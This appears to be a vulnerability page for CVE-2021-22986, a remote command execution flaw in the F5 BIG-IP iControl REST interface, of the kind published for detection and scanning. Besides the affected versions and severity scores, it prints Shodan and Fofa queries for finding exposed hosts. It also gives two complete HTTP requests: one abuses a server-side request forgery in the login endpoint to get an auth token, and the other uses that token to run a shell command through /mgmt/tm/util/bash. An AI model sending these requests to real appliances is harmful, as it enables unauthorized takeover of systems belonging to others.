| Title | F5 iControl REST - Remote Command Execution |
|---|---|
| Author | rootxharsh,iamnoooob |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system. |
| Remediation | Apply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94485 |
| CVE ID | CVE-2021-22986 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"big-ip®-+redirect" +"server" |
| Fofa Query | title="big-ip®-+redirect" +"server" |
| Tags | cve cve2021 bigip rce kev packetstorm f5 vkev vuln |
F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.
POST /mgmt/shared/authn/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Length: 103
Accept-Language: en
Authorization: Basic YWRtaW46
Connection: close
Content-Type: application/json
Cookie: BIGIPAuthCookie=1234
Accept-Encoding: gzip
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
POST /mgmt/tm/util/bash HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Content-Length: 39
Accept-Language: en
Connection: close
Content-Type: application/json
X-F5-Auth-Token: 9VzJi5
Accept-Encoding: gzip
{"command":"run","utilCmdArgs":"-c id"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22986.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22986.pcap
N/AN/A